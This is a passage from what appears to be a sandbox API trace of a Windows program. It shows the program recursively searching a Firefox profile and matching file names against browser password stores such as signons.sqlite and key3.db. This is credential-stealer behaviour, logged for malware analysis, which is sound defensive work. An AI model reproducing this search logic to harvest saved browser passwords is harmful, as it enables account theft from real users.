lpString2="indexedDB") returned -1 [0070.921] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.921] lstrlenA (lpString="\\") returned 1 [0070.921] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.921] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.921] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.921] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.921] lstrlenA (lpString="indexedDB") returned 9 [0070.921] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x65b348 [0070.921] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.921] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0070.921] LocalFree (hMem=0x6275a8) returned 0x0 [0070.921] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned 84 [0070.921] lstrlenA (lpString="\\*.*") returned 4 [0070.921] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x65d330 [0070.921] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0070.921] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*" [0070.922] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*", lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0x6426e8 [0070.922] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.922] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 1 [0070.922] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.922] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.922] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 1 [0070.922] lstrcmpiA (lpString1=".", lpString2="moz-safe-about+home") returned -1 [0070.922] lstrcmpiA (lpString1="..", lpString2="moz-safe-about+home") returned -1 [0070.922] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned 84 [0070.922] lstrlenA (lpString="\\") returned 1 [0070.922] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x65b428 [0070.922] lstrcpyA (in: lpString1=0x65b428, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0070.922] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" [0070.922] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned 85 [0070.922] lstrlenA (lpString="moz-safe-about+home") returned 19 [0070.922] LocalAlloc (uFlags=0x40, uBytes=0xe9) returned 0x65e448 [0070.922] lstrcpyA (in: lpString1=0x65e448, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" [0070.922] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0070.922] LocalFree (hMem=0x65b428) returned 0x0 [0070.922] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned 104 [0070.922] lstrlenA (lpString="\\*.*") returned 4 [0070.922] LocalAlloc (uFlags=0x40, uBytes=0xed) returned 0x65e638 [0070.922] lstrcpyA (in: lpString1=0x65e638, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0070.922] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*" [0070.922] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*", lpFindFileData=0x12f8da | out: lpFindFileData=0x12f8da) returned 0x642728 [0070.922] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.922] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8da | out: lpFindFileData=0x12f8da) returned 1 [0070.922] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.922] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.922] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8da | out: lpFindFileData=0x12f8da) returned 1 [0070.922] StrStrIA (lpFirst=".metadata", lpSrch="signons.sqlite") returned 0x0 [0070.922] lstrlenA (lpString=".metadata") returned 9 [0070.922] StrStrIA (lpFirst=".metadata", lpSrch="signons.txt") returned 0x0 [0070.922] StrStrIA (lpFirst=".metadata", lpSrch="signons2.txt") returned 0x0 [0070.922] StrStrIA (lpFirst=".metadata", lpSrch="signons3.txt") returned 0x0 [0070.922] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8da | out: lpFindFileData=0x12f8da) returned 1 [0070.922] lstrcmpiA (lpString1=".", lpString2="idb") returned -1 [0070.922] lstrcmpiA (lpString1="..", lpString2="idb") returned -1 [0070.922] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned 104 [0070.923] lstrlenA (lpString="\\") returned 1 [0070.923] LocalAlloc (uFlags=0x40, uBytes=0xea) returned 0x65e730 [0070.923] lstrcpyA (in: lpString1=0x65e730, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0070.923] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" [0070.923] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned 105 [0070.923] lstrlenA (lpString="idb") returned 3 [0070.923] LocalAlloc (uFlags=0x40, uBytes=0xed) returned 0x65e540 [0070.923] lstrcpyA (in: lpString1=0x65e540, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" [0070.923] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0070.923] LocalFree (hMem=0x65e730) returned 0x0 [0070.923] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned 108 [0070.923] lstrlenA (lpString="\\*.*") returned 4 [0070.923] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x641518 [0070.923] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0070.923] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*" [0070.923] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*", lpFindFileData=0x12f772 | out: lpFindFileData=0x12f772) returned 0x642768 [0070.923] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.923] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f772 | out: lpFindFileData=0x12f772) returned 1 [0070.923] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.923] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.923] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f772 | out: lpFindFileData=0x12f772) returned 1 [0070.923] lstrcmpiA (lpString1=".", lpString2="818200132aebmoouht") returned -1 [0070.923] lstrcmpiA (lpString1="..", lpString2="818200132aebmoouht") returned -1 [0070.923] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned 108 [0070.923] lstrlenA (lpString="\\") returned 1 [0070.923] LocalAlloc (uFlags=0x40, uBytes=0xee) returned 0x65e730 [0070.923] lstrcpyA (in: lpString1=0x65e730, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0070.923] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" [0070.923] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned 109 [0070.923] lstrlenA (lpString="818200132aebmoouht") returned 18 [0070.923] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x626a88 [0070.923] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" [0070.923] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0070.923] LocalFree (hMem=0x65e730) returned 0x0 [0070.923] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 127 [0070.923] lstrlenA (lpString="\\*.*") returned 4 [0070.923] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x601890 [0070.923] lstrcpyA (in: lpString1=0x601890, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0070.923] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*" [0070.923] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*", lpFindFileData=0x12f60a | out: lpFindFileData=0x12f60a) returned 0x6427a8 [0070.923] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.923] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f60a | out: lpFindFileData=0x12f60a) returned 1 [0070.924] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.924] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.924] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f60a | out: lpFindFileData=0x12f60a) returned 0 [0070.924] FindClose (in: hFindFile=0x6427a8 | out: hFindFile=0x6427a8) returned 1 [0070.924] LocalFree (hMem=0x601890) returned 0x0 [0070.924] LocalFree (hMem=0x626a88) returned 0x0 [0070.924] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f772 | out: lpFindFileData=0x12f772) returned 1 [0070.924] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.924] lstrlenA (lpString="818200132aebmoouht.sqlite") returned 25 [0070.924] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.txt") returned 0x0 [0070.924] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.924] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.924] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f772 | out: lpFindFileData=0x12f772) returned 0 [0070.924] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0070.924] LocalFree (hMem=0x641518) returned 0x0 [0070.924] LocalFree (hMem=0x65e540) returned 0x0 [0070.924] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8da | out: lpFindFileData=0x12f8da) returned 0 [0070.924] FindClose (in: hFindFile=0x642728 | out: hFindFile=0x642728) returned 1 [0070.924] LocalFree (hMem=0x65e638) returned 0x0 [0070.924] LocalFree (hMem=0x65e448) returned 0x0 [0070.924] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0 [0070.924] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0070.924] LocalFree (hMem=0x65d330) returned 0x0 [0070.924] LocalFree (hMem=0x65b348) returned 0x0 [0070.924] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.924] StrStrIA (lpFirst="key3.db", lpSrch="signons.sqlite") returned 0x0 [0070.924] lstrlenA (lpString="key3.db") returned 7 [0070.924] StrStrIA (lpFirst="key3.db", lpSrch="signons.txt") returned 0x0 [0070.924] StrStrIA (lpFirst="key3.db", lpSrch="signons2.txt") returned 0x0 [0070.925] StrStrIA (lpFirst="key3.db", lpSrch="signons3.txt") returned 0x0 [0070.925] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.925] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.sqlite") returned 0x0 [0070.925] lstrlenA (lpString="localstore.rdf") returned 14 [0070.925] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.txt") returned 0x0 [0070.925] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons2.txt") returned 0x0 [0070.925] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons3.txt") returned 0x0 [0070.925] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.925] StrStrIA (lpFirst="marionette.log", lpSrch="signons.sqlite") returned 0x0 [0070.925] lstrlenA (lpString="marionette.log") returned 14 [0070.925] StrStrIA (lpFirst="marionette.log", lpSrch="signons.txt") returned 0x0 [0070.925] StrStrIA (lpFirst="marionette.log", lpSrch="signons2.txt") returned 0x0 [0070.925] StrStrIA (lpFirst="marionette.log", lpSrch="signons3.txt") returned 0x0 [0070.925] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.925] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.sqlite") returned 0x0 [0070.925] lstrlenA (lpString="mimeTypes.rdf") returned 13 [0070.925] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.txt") returned 0x0 [0070.925] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons2.txt") returned 0x0 [0070.925] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons3.txt") returned 0x0 [0070.925] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.925] lstrcmpiA (lpString1=".", lpString2="minidumps") returned -1 [0070.925] lstrcmpiA (lpString1="..", lpString2="minidumps") returned -1 [0070.925] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.925] lstrlenA (lpString="\\") returned 1 [0070.925] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.925] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.925] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.925] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.925] lstrlenA (lpString="minidumps") returned 9 [0070.925] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x65b348 [0070.925] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.925] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" [0070.925] LocalFree (hMem=0x6275a8) returned 0x0 [0070.925] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned 84 [0070.925] lstrlenA (lpString="\\*.*") returned 4 [0070.925] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x65d330 [0070.925] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" [0070.925] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*" [0070.925] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*", lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0x6426e8 [0070.925] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.925] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 1 [0070.925] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.925] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.925] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0 [0070.925] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0070.926] LocalFree (hMem=0x65d330) returned 0x0 [0070.926] LocalFree (hMem=0x65b348) returned 0x0 [0070.926] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.926] StrStrIA (lpFirst="parent.lock", lpSrch="signons.sqlite") returned 0x0 [0070.926] lstrlenA (lpString="parent.lock") returned 11 [0070.926] StrStrIA (lpFirst="parent.lock", lpSrch="signons.txt") returned 0x0 [0070.926] StrStrIA (lpFirst="parent.lock", lpSrch="signons2.txt") returned 0x0 [0070.926] StrStrIA (lpFirst="parent.lock", lpSrch="signons3.txt") returned 0x0 [0070.926] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.926] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.926] lstrlenA 